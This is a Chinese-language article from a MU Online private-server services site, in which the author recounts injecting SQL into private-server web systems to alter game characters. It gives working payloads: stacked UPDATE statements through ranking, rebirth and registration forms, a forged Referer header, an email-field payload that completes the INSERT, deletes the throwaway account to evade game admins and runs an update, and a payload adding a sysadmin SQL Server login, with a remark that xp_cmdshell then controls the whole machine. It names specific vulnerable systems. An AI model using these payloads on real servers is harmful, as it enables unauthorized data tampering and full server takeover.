网站首页 一条龙套餐 游戏版本 网站模版 广告代理 主机租用 短信平台 技术教程
 
奇迹私服SQL注入大揭密
作者:admin 来源:本站原创 点击数: 更新时间:2012-7-30 18:10:53
MU的WEB系统一直与SQL的注入有着不之缘,我最初也只听说过SQL的注入,后来发现很多的SF都没有检查特殊字符,自己也没有太多的时间玩,才开始学习如何注入。时至今日,感觉还是学了不少东西,虽然改SF为大多数人不齿。 
 
最早改排名的是我的老师,虽然这个方法我从来没有成功,但是告诉了我如何去改。这个方法大概是这样的 
 
100top.as?class=1';update character set .... where name='名字';-- 
 
然后是改转生,在我第一次改转生的时候,应该说,转生的漏洞广为人知了,但很遗憾,很多SF没有注意,给了我一个锻炼的机会。转生的修改些许麻烦一点,首先要把原来的页面保存,修改form的action(+上网站的地址,或者使用base参数)和输入框的输入限制,然后在密码或者角色名字的地方输入 
 
1' or 1=1;update character set ... where name = '名字';-- 其他的输入框按要求填,洗红名的地方也是一样的修改方法。 
 
以上一般了解计算机的人都能学会,所以改的人很多,漏洞修补的也很快。 
 
后来,有个服务器修改了转生,却忘记了洗名字的地方,还禁止了远程提交,于是我有开始学习如何模拟远程提交(后来看了http协议,才知道referer这个参数在起作用),于是开始写一些提交程序,后来大概了解到,好象vbscript也有控件支持提交以及http头设置。 
 
Post http /1.1 
 
Accept: */* 
Referer: http://XXX.XXX.XXX/register.htm 
 
然后同上面的方法一样,把某一个参数输入1' or 1=1;update character set .... where name='名字';-- 
 
在后来,洗名字转生==地方都检查特殊字符。最传统的 
 
select * from character where name='%26ps_charname%26'... 的注入失去了作用,遗憾的是fishserver至近还存在这样的漏洞(email地方,以及还没有公布的nickname地方,今天算了公布了,可能是hellfish个人很忙,更新不及时,所以fishserver漏洞很多,在后面的介绍中还会说一说它的另外一个漏洞) 这种修改方式算了走到了尽头。 
 
 
但是,还有另外的一个修改地方,就是注册,我估计有其他的人在这个地方修改,但是没有一直没有结识过,很希望能得到高手的指点。到目前为止,要在注册的地方修改,需要对计算机很了解的人才能做到,首先是要会写程序,避开禁止远程提交,然后是理解SQL,构造合适的SQL注册语句。下面简要说明其中的SQL构造。 
 
SQL SERVER中,可以同时执行多条语句,但是有个限制条件,前面一条语句出错的话,后面的语句无法执行。我们知道,在注册的时候需要填写的数据有 
 
ps_loginname=noname912 
ps_password=111111 
ps_repassword=111111 
ps_answer=123456 
ps_person_id=111111111111111111 
ps_sno_numb=111111111111111111 
ps_question=654321 
ps_email=2@431d.com 
ps_nickname=111111 
 
但是,一般的系统只检查了ps-loginname(避开select的传统攻击),却不知道,后面的还有一个SQL语句 
 
insert into memb_info values(......,ps_email,ps_question,ps_answer....) 
 
出于对SQL注入的理解,学过计算机的人应该明白,这个地方同样存在一样的问题,首先要对memb-info的表结构清楚,然后,构造一个完整的insert语句,将ps-email改写如下 
 
ps_email=2@431d.com','2@431d.com','111111','111111','1','2003-11-23','2003-11-23','2003-11-23','2003-11-23','1','0','1'); delete from memb_info where memb___id = 'NoName911' or memb___id = 'NoName912';update character set ... where name='名字';-- 
 
需要构造完整的insert语句,否则,后面的语句也不能执行,然后delete语句是为了避免每次修改都注册了一个帐号,容易让GM发现,所以一注册就删除,知道后面的update就是修改部分,对公开了1433端口的SF,就可以使用 
 
use Master;exec sp_addlogin 'System', 'manager', 'MuOnline';exec sp_adduser 'System', 'System', 'db_owner';exec sp_addsrvrolemember sysadmin,'System';-- 
 
注入一个数据库的控制帐号System,这样还可是使用xp_cmdshell来控制整个计算机(其实,不开1433一样控制了整个计算机,如果没有删除xp_cmdshell存储过程的话,偶从来没有做过,具体很复杂,需要继续学习)。 
 
目前的web系统,fishserver存在这个漏洞,早期的梦之版本也存在,还有其他GM自己写的系统,大部分都存在,RC的71L版本也存在这个问题,至今还有SF使用,不过不是email的地方,而是nickname的地方(fishserver存在是因为它额外了对nickname和email进行了select检查,是否存在重复的,所以应该属于select的注入,但同时还存在insert型的漏洞),唯一例外的是霹雳系统,用.net写的,估计不是不存在漏洞,而是脚本很复杂,不知道从哪里下手,也没有源代码(没有装.net的虚拟机,不能装霹雳系统) 
 
目前的RC系统检查的非常严格,可惜检查混乱,系统资源占用很高,即使能修改的RC系统,我用程序来改(还没有执行html脚本)都慢的死人,还经常把程序卡死,倒。 
 
所以,个人觉得,目前的web系统,除了霹雳系统(据说,这个系统安装比较复杂,看来要花点时间把asp.net搞清楚啊,呵呵)难得有一个简洁安全的,所以本人花了几天时间,改写了一个 
 
http://202.114.36.233/ 
 
以前发过,大家可能不愿意用,随便了,只是觉得写了没有人用,有点浪费 
 
另外,还写过一个修改器,带一个丑陋的图形界面,很久以前准备发布的,想一想,觉得不是很好,一直没有公布。 
 
应该说,目前的SF,50%的还可以修改,大家都注意一下吧,如果你的数据库里有 
 
GM-0001 这个帐号,帐号下有noname这个角色,+11+S反S亚装雷神,那么您就要注意换系统或修改系统了。 
 
 
Copyright 2004-2008 HttP://www.8828mu.comAll Rights Reserved 版权所有:奇迹数据专业打造,奇迹一条龙,奇迹sf一条龙,奇迹开区一条龙,奇迹版本,www.8828mu.comHttP://www.8828mu.com
☆ 建议使用:1024×768 分辨率 Windows2000 Internet Explorer V5.0 or higher ☆